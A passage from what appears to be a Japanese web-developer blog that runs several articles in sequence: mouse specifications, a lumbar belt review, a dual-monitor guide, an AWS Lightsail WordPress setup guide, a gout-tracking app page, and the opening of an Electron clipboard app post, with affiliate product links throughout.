主な仕様は、幅61.8×奥行98.2×高さ36.7mmで約58g（電池含まず）。単四乾電池2本で使用可能日数は約327日、接続は2.4GHz帯のUSB-Aレシーバーのみ、分解能は1000・1600カウント/インチです。標準価格4,180円に対して実売は1,780円（サンワサプライ公式の製品仕様）。 Macユーザーは仕様の注記を必ず読んでください。公式仕様に「Apple Macシリーズでは（戻る・進むボタンは）使用できません」と明記されています。ブラウザの戻る／進むをサイドボタンに割り当てて使いたいなら、Macでは目的を果たしません。 長さ98.2mmはエレコムとほぼ同じですが、幅が61.8mmとやや細身です。同じ手長でもつまみ持ち寄りの人はこちらのほうが指をかけやすくなります。 マウス ワイヤレスマウス ワイヤレス パソコンマウス 静音 小さい 無線 小型 Type-Aワイヤレス 5ボタン 多ボタンマウス 楽天で購入 なお、この商品カードの画像はサンワダイレクトの型番（400-MAW183）で表示されますが、同店の商品ページに「400-MAW183BKのパッケージ型番はMA-WBL153BK」と記載があり、同一製品です。 バッファロー BSMBW325BK｜静音設計。ただし2017年発売で特定販売店向け バッファローがこの製品の特長として最初に挙げているのは「クリック音が静かな場所でも気にならない静音設計」です。左右ボタン・ホイールボタン・サイドボタンのすべてが静音化されています。価格の安さより、まずここが看板です。 主な仕様は、幅76×高さ39×奥行107mmで質量は約70g（電池含まず）。 ### [【愛用レビュー】ガードナーベルトは腰痛持ちの味方！長時間作業がラクになる理由とは？](https://codequest.work/gardner-belt-review/) Web制作やコーディングをしていると、気づけば夕方には腰が重だるい……という経験、ありませんか？ 私も一日中パソコンの前に座って作業する生活で、慢性的な腰の張りに悩んでいました。そんなときに使い始めて、いまも仕事中の定番になっているのがガードナーベルト（Gardner Belt）です。この記事では、実際に使い続けている立場から、良かった点と気になった点を正直にまとめます。 ガードナーベルトとは、マジックテープ式で腰まわりを締めて支える腰用サポーター（骨盤サポーター）です。締め付けの強さを自分で調整でき、座ったままでも装着したままにできるため、長時間のデスクワークと相性がよいのが特徴です。 ※本記事にはアフィリエイト広告（楽天アフィリエイト）を含みます。商品は自費で購入したもので、記載内容は筆者個人の使用感です。効果や感じ方には個人差があり、医療的な効果を保証するものではありません。痛みが続く場合は医療機関にご相談ください。 本記事でレビューしたガードナーベルトです。 【楽天1位】【正規品】ガードナーベルト 腰用ベルト 骨盤サポーター コルセット 骨盤矯正 腰痛対策 腰サポーター 骨盤ベルト 骨盤補正 姿勢改善 男女兼用 楽天で購入 ガードナーベルトの基本スペック まずは製品の概要です。男女兼用で、ウエストサイズに応じて複数サイズが展開されています。 製品名ガードナーベルト（男女兼用）タイプサポーター／骨盤サポーターサイズM / L / XL など複数展開固定方式マジックテープ式（締め付けを無段階で調整）特徴腰をしっかり固定、軽量、通気性◎デスクワーク適性座ったままでも装着可能 実際に使って感じた3つのメリット デスクワーク用途で使い続けて、特に良いと感じたのは次の3点です。 1. マジックテープ式で着脱と締め付け調整がラク マジックテープ式なので装着がスムーズです。締め付け具合を無段階で調整できるので、その日の体調や作業内容に合わせられるのが助かります。集中したいときはやや強め、休憩中はゆるめ、といった使い分けができます。 2. 座りっぱなしでも腰まわりが安定する 座り作業が続いても腰まわりが支えられている感覚があり、気づくと猫背になっている、という崩れ方が減りました。姿勢が崩れにくいぶん、作業の後半でも集中が続きやすいと感じています。 3. 通気性がよく夏場でもムレにくい 夏場でもムレにくい設計なので、長時間つけていても不快感が少ないのが地味にありがたいポイントです。室内での作業なら、シャツの上から着けてもかさばりません。 買う前に不安だったこと・実際に気になった点 良い点ばかりではありません。購入前の不安と、使ってみて実際にどうだったかを分けて書きます。 買う前に不安だったこと 締め付けが強すぎて、かえって疲れないか？ 着けたまま作業すると動きにくくならないか？ 見た目にゴツくて、オンライン会議で目立たないか？ 実際に使ってみた結果 締め付けは自分で調整できるので、強すぎて疲れるということはありませんでした。 座り作業や軽い立ち歩きであれば、動作の妨げにはなりませんでした。 上半身しか映らないオンライン会議では、まず気づかれません。 一方で、正直に書いておきたい点もあります。着けているあいだは腰が安定しますが、外すと元の感覚に戻ります。ベルトはあくまで作業中の姿勢をサポートする道具で、腰そのものを鍛えたり治したりするものではありません。つけっぱなしにするより、休憩・ストレッチ・椅子の調整と組み合わせて使うのが現実的です。 こんな人におすすめ／必要ない人 おすすめできるのは、次のような人です。 座り仕事が長時間続くWeb制作者・プログラマー 在宅ワークで、夕方になると腰が重くなる人 締め付けを自分で調整できるベルトを探している人 逆に、すでに椅子とデスクの高さが体に合っていて、こまめに立ち上がる習慣がある人には、優先度は高くありません。まずは作業環境そのものを整えるほうが効果的です。イスから見直すならCOFOとエルゴヒューマンの高機能チェア比較、モニター位置による姿勢の崩れが気になるならWeb制作者向けデュアルモニター設定ガイドが参考になります。 まとめ：作業環境を整える一手として ガードナーベルトは、長時間の座り作業で崩れがちな姿勢を、道具の力で支えてくれるアイテムです。腰の不調そのものを解決するものではありませんが、「作業中に姿勢が崩れにくくなる」という一点で、私の作業環境には定着しました。 椅子・モニター・休憩の取り方と合わせて、環境を整える選択肢のひとつとして検討してみてください。サイズ展開やカラーは、公式ショップで確認できます。 なお、日中の姿勢を整えても朝の首や肩の張りが残る場合は、原因が昼ではなく夜にあることもあります。横向き寝用枕の購入者レビュー198件を分析した記事では、満足と不満を分ける条件を実データで整理しています。 よくある質問（FAQ） Q. ガードナーベルトはデスクワーク中も使えますか？ はい、椅子に座った状態でも装着できます。座り作業中に姿勢が崩れにくくなるため、長時間のデスクワークで腰まわりを支えたい方に向いています。 Q. ガードナーベルトのサイズ選びのコツは？ 公式のサイズ表でウエストサイズを実測して確認しましょう。サイズが2つにまたがって迷う場合は大きめを選ぶと締め付けを調整しやすく、失敗しにくいです。 Q. 一日中つけっぱなしでも大丈夫ですか？ つけっぱなしは推奨しません。作業に集中する時間帯だけ着けて、休憩時は外す使い方が現実的です。長時間の連続装着より、こまめに立ち上がる・ストレッチを挟むといった習慣と組み合わせるほうが体はラクになります。 Q. 服の上から着けても問題ありませんか？ 在宅の作業用途であれば、シャツの上から着けても問題なく使えます。フィット感を重視するなら薄手のインナーの上から、着脱のしやすさを優先するなら服の上から、と使い分けるとよいでしょう。 Q. 洗濯はできますか？ 手洗いが推奨されています。通気性のある素材なので汗をかいても比較的乾きやすく、清潔に使い続けられます。洗濯機や乾燥機はマジックテープや素材を傷める原因になるため避けましょう。 Q. 腰ベルトを着ければ腰痛は治りますか？ 腰用サポーターは、作業中の姿勢を支える道具であって、治療器具ではありません。痛みが強い、長く続く、しびれを伴うといった場合は自己判断せず、整形外科など医療機関に相談してください。 ### [Web制作者向け｜快適なデュアルモニター設定ガイド](https://codequest.work/web-creator-dual-monitor-setup/) デュアルモニターとは、1台のPCに2枚のディスプレイを接続し、作業領域を物理的に拡張する環境のことです。Web制作では「コードを書きながらブラウザで表示を確認する」「デザインカンプを見ながら実装する」といった同時並行の作業が多く、画面を増やすだけでタブの切り替えやウィンドウの重なりによるストレスが大きく減ります。 この記事では、デュアルモニターに必要な機材と接続方式、Windows・macOS それぞれの設定手順、Web制作で効く画面分割パターン、よくあるトラブルの解決策までを、現役のフロントエンドエンジニアの実務目線でまとめます。これから2画面環境を導入する人が、機材選びから設定・運用までひと通り判断できる構成です。 デュアルモニターがWeb制作の効率を上げる理由 Web制作の現場では、エディタ・ブラウザ・デザインツール・ドキュメント・チャットなど、同時に開いておきたいウィンドウが多くなりがちです。1画面だとこれらを重ねて切り替えながら作業することになり、「今どのウィンドウを見ていたか」を探す時間が地味に積み重なります。 実際、米調査会社 Jon Peddie Research の調査では、モニターを2枚使うことで作業効率が平均42%向上すると報告されています。またNEC Display Solutionsが支援したユタ大学の研究でも、テキスト作業で44%、表計算作業で29%の生産性向上が確認されています。画面を物理的に広げること自体が、複数ウィンドウ前提のWeb制作と相性が良いということです。 特に次のような働き方をしている人は、導入効果を実感しやすいでしょう。 コーディングしながらブラウザでプレビューを同時に確認したい人 Figma や Adobe XD でデザインを見ながら実装を進めたい人 仕様書・ドキュメント・チャットを別画面で開いたまま作業したい人 デュアルモニターに必要な機材 用意するもの モニター（2台目。サイズは24〜27インチが定番） 接続ケーブル（HDMI / DisplayPort / USB-C など） 複数出力に対応したPC（ノートPCでも外部出力があればOK） PC本体のスペックやポート構成に不安がある場合は、Web制作向けパソコンスペックの選び方もあわせて確認してください。 接続端子の種類と選び方 デュアルモニターにする前に、お使いのPCとモニターの端子を確認しておきましょう。代表的な出力端子は次の3つです。 HDMI：最も一般的。多くのPCとモニターに搭載されている。 DisplayPort：高解像度・高リフレッシュレートに強く、ゲーミングモニターに多い。 USB-C（DisplayPort Alt Mode対応）：近年のノートPCに多く、1本で映像出力と給電を兼ねられる。 PC側とモニター側で端子が異なる場合は、変換アダプタやドッキングステーションで対応できます。 OS別・デュアルモニターの設定手順 Windows 10 / 11 の設定手順 デスクトップを右クリック →「ディスプレイ設定」を開く 「ディスプレイの複数表示」で「表示画面を拡張する」を選択 モニターの配置をドラッグで調整（左右の入れ替えなど） 解像度をそれぞれ調整（フルHDやWQHDなど） メインモニターを設定（スタートメニューやタスクバーの表示位置） macOS の設定手順 Appleメニュー →「システム設定」→「ディスプレイ」を開く 外部モニターが認識されると配置図が表示される 拡張表示・ミラーリングを切り替える メニューバーの表示先（メインディスプレイ）を指定する モニターごとの解像度やスケーリングを調整する Web制作で効くデュアルモニターの画面分割パターン パターン1：エディタ × ブラウザ（コーディング） 左画面：VS Code（エディタ） 右画面：ブラウザ（ライブサーバー） コーディングとリアルタイム表示を同時に確認できるため、変更の反映チェックがスムーズになります。 パターン2：デザインカンプ × エディタ 左画面：Figma や Adobe XD 右画面：エディタ＋ターミナル デザインカンプを片側に表示しながら、余白や配色を正確に再現できます。実装前の設計についてはデザインカンプ前に決めるWebデザインのルールも参考になります。 パターン3：仕様書・チャット × 実装画面 左画面：仕様書、チャット（Slack / Discord） 右画面：実装中のプロジェクト 複数の資料を参照しながら作業を進めたい場面に便利です。 よくあるトラブルと解決策 デュアルモニター環境で起こりがちなトラブルと対処法をまとめました。 トラブル解決策モニターが認識されないケーブルの抜き差し、ドライバー更新、再起動解像度が合わないディスプレイ設定から個別に解像度を調整メインモニターが切り替わらない「このディスプレイをメインにする」を設定片方が映らないモニター自体の電源・入力切替も確認する 目と体への負担を減らす環境づくり モニターアームでデスクを広く使う モニターアーム（例：Ergotron、Amazonベーシック）を使うと目線の高さを最適化でき、デスク上のスペースも有効活用できます。 取り付けにはクランプ式とグロメット式の2種類があります。 目の疲れを抑える設定 高さ・角度を調整できるモニターを選ぶ ブルーライトカットモードを活用する 画面との距離は50cm以上を確保する 画面の高さを直しても首の張りが取れないときは、寝ているあいだの姿勢も見直す価値があります。横向き寝用枕は高さで決まる｜購入者レビュー198件の分析で、購入者データから分かった選び方を整理しています。 おすすめのモニター 最後に、Web制作にも使いやすい価格帯のモニターを紹介します。用途や予算に合わせて選んでみてください。 【BenQ公式店】BenQ ベンキュー 27インチ デザイナー 向け 4K モニター / ディスプレイ PD2705U ( 4K UHD/IPS/ノングレア/広色域/HDR10/USB Type-C 65W給電/HDMI/DP/KVM機能/PIP・PBP/スピーカー付/高さ調整/回転(ピボット)機能/フリッカーフリー/ブルーライト軽減) 楽天で購入 5,009円値下げ[Macピッタリ]4Kモニター 27インチ USB-C接続 98%DCI-P3 UHD 3840×2160 無輝点保証 ゲーミングモニター 65w給電 450nits輝度 PCモニター IPS 1ms応答 60Hz VESA対応 スピーカー搭載/FreeSync/HDR/チルト/水平垂直回転/高さ調整 iMac/Macbook/Mac mini cocopar 楽天で購入 【楽天1位常連・超700冠獲得】黒/白 モニター 21.5 / 23.8 / 24.5 / 27型240Hz/200Hz/180Hz/165Hz/100Hz ゲーミングモニター 1ms応答 pcモニター パソコン モニター 非光沢 スピーカー内蔵 HDR/Freesync/VESA cocopar HG-238 楽天で購入 4K モニター 27インチ IPS ディスプレイ スピーカー内蔵 UHD ビジネス向け HDR 3840×2160/ノングレア/FreeSynk/HDMI/DisplayPort/薄型 YSM-HQ270U60HZ 楽天で購入 Dell S2725QC 27インチ 4K モニター 楽天で購入 まとめ Web制作者にとって、デュアルモニターは作業効率と集中力を大きく高めてくれる、投資対効果の高い環境です。最初は配線や設定に戸惑うかもしれませんが、一度慣れると1画面には戻れないほど快適になります。 まずは手持ちのPCの出力端子を確認し、24〜27インチのモニターを1枚追加するところから始めてみましょう。PC本体から見直したい場合はパソコンスペックの選び方やMacBookを安く買う方法もあわせてどうぞ。 よくある質問（FAQ） Q. デュアルモニターに必要な端子は何ですか？ HDMI・DisplayPort・USB-Cのいずれかが一般的です。お使いのPCとモニターの出力/入力端子を確認し、必要に応じて変換アダプタを用意しましょう。 Q. モニターのサイズは揃えた方がいいですか？ 揃えると視線の移動がスムーズですが、メインに27インチ・サブに24インチなど異なるサイズの組み合わせでも十分快適に使えます。 Q. デュアルモニターは作業効率にどのくらい効果がありますか？ Jon Peddie Researchの調査では、デュアルモニターによって作業効率が平均42%向上すると報告されています。コード編集とブラウザプレビューを同時に表示できるWeb制作では、特に効果を実感しやすい環境です。 Q. ノートPCでもデュアルモニターにできますか？ はい。HDMIやUSB-Cなどの外部出力端子があれば、ノートPCに外部モニターを1枚つなぐだけでデュアルモニターになります。ノート本体の画面とあわせて2画面として使えます。 Q. モニター2枚とウルトラワイド1枚はどちらがいいですか？ ウィンドウを左右できっちり分けたいならモニター2枚、1画面を自由なバランスで分割したいならウルトラワイド1枚が向いています。Web制作では「エディタとブラウザを別画面で固定したい」ニーズが多いため、まずは2枚構成が扱いやすいでしょう。 Q. モニターは縦置き（ピボット）にしたほうがいいですか？ 縦長のコードやドキュメント、長いLPの確認が多い場合は、サブモニターを縦置きにすると一度に表示できる行数が増えて便利です。回転対応のモニターやアームが必要になります。 ### [AWSとは？初心者でもできるWordPress導入手順](https://codequest.work/aws-wordpress-setup-guide/) 「AWSでWordPressを動かしたい」と検索すると、EC2にApacheとMySQLを入れる長大な手順か、逆に「レンタルサーバーで十分」という結論のどちらかに行き着きがちです。この記事では、AWSでWordPressを立てる最短ルートと、そもそもAWSを選ぶべきかの判断基準を、料金の実額と公式手順に沿って整理します。 先に結論です。AWS（Amazon Web Services）はAmazonが提供する200種類以上のクラウドサービス群で、そのうちWordPressを動かす最短ルートが Amazon Lightsailです。EC2を素から組むのに比べ、WordPressが導入済みのイメージを選ぶだけでサーバーが立ち上がり、独自ドメイン・静的IP・SSL証明書までコンソールのウィザードで完結します。ただし無料枠は「3か月間」の期間限定で、永年無料ではありません。ここを誤解すると想定外の請求が来ます。 その用途、本当にAWSが必要か 手順に入る前に、ここを飛ばすと後悔します。AWSは「安いから」選ぶものではありません。運用の手間を自分で引き受ける代わりに、構成の自由度とスケールを得る選択です。 3つの選択肢を比較する 選択肢構築の手間運用で自分がやること向いているケースレンタルサーバー最小（管理画面から数クリック）ほぼWordPressの更新のみ個人ブログ・小〜中規模のコーポレートサイトLightsail小（WordPress入りイメージを選ぶだけ）OS/ミドルウェアの更新、バックアップ設計AWS内で完結させたい・将来EC2へ移す前提EC2大（OSからミドルウェアまで自分で構成）上記に加えて冗長化・監視・スケーリング設計大規模・複雑な要件・他AWSサービスと密結合 レンタルサーバーで足りるケース 次のどれかに当てはまるなら、AWSを選ぶ理由は薄いはずです。 サイトは1〜数本で、月間PVは数万規模まで SSHやLinuxのコマンド操作に不安がある OSやPHPのアップデートを自分で管理したくない サーバーが落ちたときに電話やチャットで聞ける窓口が欲しい レンタルサーバー側の具体的な選び方はConoHa WINGの特徴とメリットにまとめてあります。「クラウドのほうが上位」ではなく、運用体制に合うほうが正解です。 それでもAWSを選ぶ理由 逆に、次のような要件があるならAWSが効いてきます。 他のAWSサービスと連携させたい（S3への画像退避、CloudFront配信、Lambdaでの処理など） サーバー構成を自分で決めたい（PHPのバージョン、Webサーバー、キャッシュ層） アクセス増に合わせて後から拡張したい（Lightsailで始めてEC2へ移行できる） クライアント要件でAWS指定がある（受託開発では珍しくない） 料金と無料枠の正確な条件 ここが一番誤解されている部分です。Lightsailの無料枠は「3か月間」の期間限定で、条件も細かく決まっています。Amazon Lightsailの料金ページに明記されている内容を整理します。 無料枠は3か月間・1アカウント1バンドルまで 公式ページによると、無料枠の対象は次のバンドルで、3か月間無料です。適用は1アカウントにつき1バンドルのみ、かつ2021年7月8日以降に利用を開始したアカウントが対象と記載されています。 種別無料枠の対象バンドル（月額）Linux/Unix（パブリックIPv4）5 USD ／ 7 USD ／ 12 USDLinux/Unix（IPv6のみ）3.50 USD ／ 5 USD ／ 10 USDWindows（パブリックIPv4）9.5 USD ／ 14 USD ／ 22 USDデータベースバンドル15 USDコンテナサービス10 USD（マイクロ・1ノード） 最小構成である 3.50 USD/月（IPv6のみ）のスペックは、メモリ512MB・2vCPU・SSD 20GB・データ転送1TBです。日本語のWordPressを動かすにはメモリ512MBは心もとないため、実運用では上位のプランを検討してください。 「IPv6のみ」プランを選ぶときの注意 最安の3.50 USDプランはIPv6のみで、パブリックIPv4アドレスが付きません。IPv4しか使えない環境からはアクセスできないため、一般公開するサイトでこれを選ぶのは避けてください。学習用途と割り切る場合のみ有効です。公開サイトなら、パブリックIPv4が付く5 USD/月以上を選びます。 無料枠が切れた後に実際いくらかかるか 3か月を過ぎると、選んだバンドルの月額がそのまま課金されます。加えて、次の要素が上乗せされる点に注意してください。 スナップショット（バックアップ）：自動スナップショットを有効にすると保存容量に応じて課金される データ転送量の超過：バンドルに含まれる転送量を超えた分は従量課金 未使用の静的IP：インスタンスに紐づいていない静的IPは課金対象になる 為替：AWSの請求はUSD建てなので、円安局面では円換算額が上がる 無料枠の期間中に必ず請求アラートを設定しておいてください。AWS Budgetsで「月◯USDを超えたらメール通知」を1つ作っておくだけで、想定外の請求はほぼ防げます。 LightsailでWordPressを構築する手順 ここからは実作業です。手順はAWS公式のWordPressインスタンス構築ガイドに沿っています。現在のLightsailは「Set up your website（ウェブサイトのセットアップ）」ウィザードで、ドメイン・DNS・静的IP・SSL証明書をまとめて設定できます。個別に設定して回る必要はありません。 ステップ1｜WordPressインスタンスを作成する Lightsailコンソールにサインインし、「インスタンスの作成」を選ぶ リージョンとアベイラビリティーゾーンを選ぶ（日本向けなら東京） プラットフォームで「Linux/Unix」、設計図（blueprint）で「WordPress」を選ぶ 設計図の提供元はLightsailを選ぶ（AWS公式が推奨している） インスタンスプランを選ぶ（公開サイトならパブリックIPv4付きの5 USD以上） インスタンス名を入力して「インスタンスの作成」 作成が終わったら、インスタンス管理ページ右上のパブリックIPv4アドレスをブラウザで開いてください。WordPressのテスト投稿が表示されれば、この時点でサーバー自体は動いています。 ステップ2｜ドメイン・静的IP・SSLを一括設定する インスタンス管理ページの「接続」タブ → 「ウェブサイトのセットアップ」から、ウィザードを開始します。順に次を設定します。 ドメイン名の指定：Lightsail管理のドメイン、新規登録、他社で取得済みのドメインから選ぶ DNSの設定：LightsailのDNSゾーンを使うか、他社のDNSをそのまま使うかを選ぶ 静的IPアドレスの作成：名前を付けて作成する（後述のとおり必須） ドメインの割り当て：apexドメインとwwwサブドメインを割り当てる SSL/TLS証明書の作成：対象ドメインとメールアドレスを入力し、Let's Encrypt証明書の設定を承認する 実行前に、インスタンスのファイアウォールでポート22・80・443がTCP接続を許可していることを確認してください。セットアップ中はこの3つが開いている必要があります。また設定完了まで最大15分かかり、その間はインスタンスを停止したり変更したりしてはいけません。進捗は「接続」タブで確認できます。 なお発行されるLet's Encrypt証明書は60〜90日ごとに自動更新されるため、更新作業を自分で回す必要はありません。 ステップ3｜管理画面のパスワードを取得してログインする WordPress管理画面の初期パスワードはインスタンス内に保存されています。以前はSSHで接続してファイルを読む手順が一般的でしたが、現在はコンソールから取得できます。 インスタンス管理ページの「WordPress」パネルで「デフォルトパスワードを取得」を選ぶ 「CloudShellの起動」を選ぶと、画面下部にシェルが開く 提示されたコマンドをコピーしてCloudShellに貼り付けて実行する 表示されたパスワードを控える 「WordPress管理画面にアクセス」から http://パブリックIPv4アドレス/wp-admin を開く ユーザー名は user、パスワードは手順4で控えたものを入力してログイン ログインできたら、最初にやることは管理者パスワードの変更です。初期ユーザー名が user で固定なのは広く知られているため、そのまま運用すると総当たり攻撃の的になります。 【検証】構築後に必ず確認する4項目 「サイトが表示された＝完了」ではありません。ここで挙げる4項目を確認していないと、数日後に突然サイトが見えなくなるという事故が起きます。順に潰してください。 確認の手順と合否ライン 静的IPがアタッチされているか：Lightsailコンソールの「ネットワーキング」で、作成した静的IPがインスタンスに紐づいているかを見る。合否＝インスタンスを一度停止→起動しても、パブリックIPが同じままであること DNSが正しく伝播しているか：ターミナルで nslookup 自分のドメイン を実行する。合否＝返ってくるAレコードが、上で確認した静的IPと一致していること HTTPSで開くか、HTTPから転送されるか：https://ドメイン で鍵マークが出るかを見る。さらに http://ドメイン を開いてHTTPSへ転送されるかも確認する。合否＝両方のURLで最終的にHTTPSのページが表示されること WordPress側のURL設定がドメインになっているか：管理画面の「設定」→「一般」で、WordPressアドレスとサイトアドレスを見る。合否＝IPアドレスではなく https://ドメイン になっていること DNSの反映はすぐには終わりません。レコードを追加・変更した直後は世界中のDNSサーバーに伝わるまで時間がかかるため、nslookup や外部のDNS確認サービスで反映を確かめてから次に進んでください。 不合格だった場合の切り分け 症状疑うべき原因次の一手再起動したらIPが変わった静的IPが未アタッチ静的IPを作成してインスタンスに紐づける。DNSのAレコードも更新するドメインで開けないがIPでは開けるDNSが未反映、またはAレコードの値が違うnslookupの結果と静的IPを突き合わせる鍵マークが出ない・警告が出る証明書の発行が完了していないポート80/443の開放を確認し、ウィザードを再実行するCSSが当たらず文字だけ表示されるサイトアドレスがIPのまま（混在コンテンツ）「設定」→「一般」でURLをHTTPSのドメインに修正する 4番目の「CSSが当たらない」は特に多い症状です。原因がサーバーではなくWordPress側の設定にあるケースも含め、切り分けの手順はデータベース接続エラーの対処法と併せて押さえておくと復旧が早くなります。 つまずきやすいポイント 公式手順どおりに進めても踏みやすい落とし穴を挙げます。いずれも「あとから気づく」タイプなので、先に知っておく価値があります。 静的IPを付け忘れ、再起動でサイトが見えなくなる これが最頻の事故です。Lightsailインスタンスのデフォルトのパブリック IP アドレスは、インスタンスを停止して起動すると変わります。静的IPをアタッチしていれば停止・起動をしても同じIPのままですが、付け忘れているとDNSが古いIPを指したままになり、サイトが見えなくなります。 厄介なのは、構築直後は問題なく動くので気づけないことです。数週間後にメンテナンスでインスタンスを再起動した瞬間に発覚します。 ### [痛風管理アプリ｜プリン体計算・尿酸値記録・発作管理の無料iOSアプリ](https://codequest.work/gout-management-app/) 痛風管理がうまくいかない3つの原因 「食事に気をつけて」と医師に言われても、何をどう管理すればいいかわからない。痛風患者が管理に挫折する原因は主に3つあります。 プリン体の計算が面倒：食品ごとのプリン体含有量を調べて計算するのは現実的ではない 水分摂取量を把握できていない：脱水は尿酸値上昇の大きな原因だが、飲んだ量を記録する習慣がない 記録が続かない：紙やメモアプリでは入力が面倒で、数日で途絶える 痛風歴7年のエンジニアが、自分自身の管理課題を解決するために開発したのが、iOSアプリ「痛風管理」です。プリン体の自動計算、水分記録、発作カレンダー、尿酸値グラフを1つのアプリに集約し、毎日の記録を最小限の手間で継続できるよう設計しました。 App Storeで無料ダウンロード → プリン体計算を自動化する食事記録機能 150品目以上のプリン体データベース 日本痛風・核酸代謝学会の公表資料に基づいた食品データベースを搭載。カテゴリー（魚介類・肉類・野菜・豆類・アルコールなど）から食品を選び、グラム数を入力するだけでプリン体量が自動計算されます。 150品目以上をカバーしており、カテゴリを超えた横断検索にも対応。ひらがな・カタカナを区別しないので、「なっとう」でも「ナットウ」でも同じ結果が返ります。 1日の摂取プリン体量を自動集計 記録した食品のプリン体量は1日単位で自動集計されます。痛風患者の目安とされる1日400mgを超えると警告ラインが表示され、食事の見直しポイントが一目でわかります。 カスタム食品の登録 プリセットにない食品は、自分で名前とプリン体量を入力して保存できます。お気に入り機能で頻繁に食べる食品を画面トップに固定表示すれば、入力の手間がさらに減ります。 主な食品のプリン体含有量（100gあたり） 日本痛風・核酸代謝学会の「高尿酸血症・痛風の治療ガイドライン」では、1日のプリン体摂取量を400mg以下に抑えることが推奨されています。以下は代表的な食品のプリン体含有量です。 食品プリン体（mg/100g）分類鶏レバー312.2極めて多い（300mg以上）干物（マイワシ）305.7極めて多い（300mg以上）豚レバー284.8多い（200〜300mg）カツオ211.4多い（200〜300mg）マグロ157.4中程度（100〜200mg）納豆113.9中程度（100〜200mg）牛肩ロース90.2少ない（50〜100mg）ほうれん草51.4少ない（50〜100mg）白米25.9極めて少ない（50mg以下）鶏卵0極めて少ない（50mg以下） 痛風管理アプリでは、これらを含む150品目以上のプリン体データベースを搭載。食品を選んでグラム数を入力するだけで、1日の合計プリン体量を自動計算します。 尿酸値・水分・発作を記録して傾向を見える化 尿酸値の記録とグラフ表示 通院時に測定した尿酸値を手動入力すると、折れ線グラフで推移を確認できます。週・月・3ヶ月の表示切り替えに対応しており、治療の効果を視覚的に把握できます。血液検査データの記録にも対応しています。 水分摂取量の管理 脱水は尿酸値上昇の大きな原因です。本アプリではml単位で水分摂取量を記録でき、円形プログレスバーで1日の目標（2,000ml）に対する達成度がひと目でわかります。 発作記録カレンダー 痛風発作の有無をワンタップで記録。カレンダー上に色分け表示されます。 赤：発作あり 青：発作なし（記録済み） 白：未入力 蓄積データから「この週は水分が少なかった」「この食品の後に発作が起きやすい」といった個人パターンが見える化されます。 プリン体摂取量の推移グラフ 日々のプリン体摂取量を折れ線グラフで表示。400mg警告ラインと痛風発作マーカーを重ねて表示するので、発作とプリン体摂取の関連を視覚的に分析できます。 継続しやすい仕組み 記録忘れ防止の通知機能 朝食・昼食・夕食の記録忘れを通知でリマインド。通知時間は個別にカスタマイズできるので、自分の生活リズムに合わせて設定できます。 iCloudバックアップと同期 記録データはiCloudに自動バックアップされます。機種変更時もデータが復元されるため、安心して長期的な記録を続けられます。 CSV書き出しで医師に共有 食事記録をCSV・テキスト形式で書き出せます。通院時に医師へデータを共有し、食事指導や治療方針の判断材料として活用できます。 Apple Health連携 HealthKitと連携し、体重・BMIを表示。痛風管理に関連する健康指標を一元管理できます。 プライバシーとセキュリティ 記録データはすべて端末内（UserDefaults）に保存され、外部サーバーへの送信は一切ありません。医療関連データの取り扱いを意識し、プライバシーを最優先に設計しています。iCloudバックアップもAppleのエンドツーエンド暗号化で保護されます。 全機能一覧 機能説明プリン体自動計算150品目以上のデータベースから食品を選んでグラム入力食品検索カテゴリ横断検索、ひらがな・カタカナ正規化対応カスタム食品登録自分で食品名とプリン体量を追加保存お気に入りよく食べる食品を長押しで登録、画面トップに固定水分記録ml単位で記録、円形プログレスバーで目標管理発作記録ワンタップ記録、カレンダーに色分け表示尿酸値記録通院時の測定値を手動入力、グラフで推移確認プリン体グラフ週/月/3ヶ月表示、400mg警告ライン+発作マーカー血液検査記録検査結果を折れ線グラフで推移表示通知リマインダー朝食・昼食・夕食の記録忘れ防止iCloudバックアップ自動保存、機種変更時もデータ復元CSV書き出し食事記録をCSV/テキストで医師に共有Apple Health連携HealthKitから体重・BMIを取得表示英語対応端末言語設定で自動切替広告非表示200円の買い切りでプレミアム版 利用者の声 40代男性・痛風歴2年「医師に『食事気をつけて』と言われても何をどう管理したらいいかわからなかったけど、このアプリなら食品を選ぶだけでプリン体が計算されるので続けられています」 50代男性・通院中「尿酸値が高くて心配だったけど、日々の水分とプリン体を記録して通院時にCSVで医師に見せるようになってから、具体的な食事指導をもらえるようになりました」 よくある質問 Q. 無料で使えますか？ 基本機能はすべて無料です。App Storeからダウンロードしてすぐに使えます。200円の買い切りで広告非表示のプレミアム版にアップグレードできます。 Q. 対応デバイスは？ iOS 16以降のiPhoneに対応しています。iPadでも動作しますが、iPhone向けに最適化されたUI設計です。 Q. 機種変更時にデータは引き継げますか？ iCloudバックアップ機能により、機種変更後もデータが自動で復元されます。 Q. プリン体のデータは正確ですか？ 日本痛風・核酸代謝学会の公表資料に基づいたデータを使用しており、150品目以上を収録しています。データベースにない食品は、自分でカスタム登録することも可能です。 Q. データがサーバーに送信されることはありますか？ ありません。記録データはすべて端末内に保存されます。iCloudバックアップもAppleの暗号化で保護されており、開発者がデータにアクセスすることはありません。 Q. Android版はありますか？ 現在はiOS版のみです。需要に応じてAndroid版の開発も検討しています。 Q. プリン体の1日の摂取目安はどれくらいですか？ 日本痛風・核酸代謝学会のガイドラインでは、痛風・高尿酸血症の方は1日400mg以下が推奨されています。痛風管理アプリでは400mgを超えると警告ラインが表示され、食事の見直しタイミングがわかります。 Q. プリン体が多い食品は何ですか？ 鶏レバー（312.2mg/100g）、干物のマイワシ（305.7mg/100g）、豚レバー（284.8mg/100g）、カツオ（211.4mg/100g）などが代表的な高プリン体食品です。痛風管理アプリのプリン体計算機能で、日々の食事に含まれるプリン体量を簡単に確認できます。 Q. 記録したデータを医師に見せることはできますか？ CSV書き出し機能で食事記録をエクスポートし、通院時に医師へ共有できます。プリン体摂取量や尿酸値の推移グラフも画面で直接見せることができます。 痛風対策の市販薬を探す 食事記録と並行して市販薬やサプリメントを検討する場合は、楽天市場で取り扱い商品を確認できます。服用の可否や併用については、医師・薬剤師に相談してください。 楽天市場で痛風の市販薬を見る ダウンロード 記録することは、未来を変えること。痛風と上手に付き合うために、「なんとなく避ける」ではなく「きちんと記録して見える化する」ことが大切です。 痛風管理アプリは基本無料、広告非表示は200円の買い切りです。まずはダウンロードして、今日の食事から記録を始めてみてください。 App Storeで無料ダウンロード → ### [SQLiteで履歴を管理！Electron製クリップボードアプリ](https://codequest.work/electron-clipboard-app-sqlite/) Electron × SQLiteで最強のクリップボードアプリを実現！ 前回はlocalStorageを使ったシンプルなクリップボード履歴アプリを紹介しましたが、今回はSQLiteを採用したバージョンをご紹介します。 SQLiteを使うことで、 長期間の履歴保存 高速な検索機能 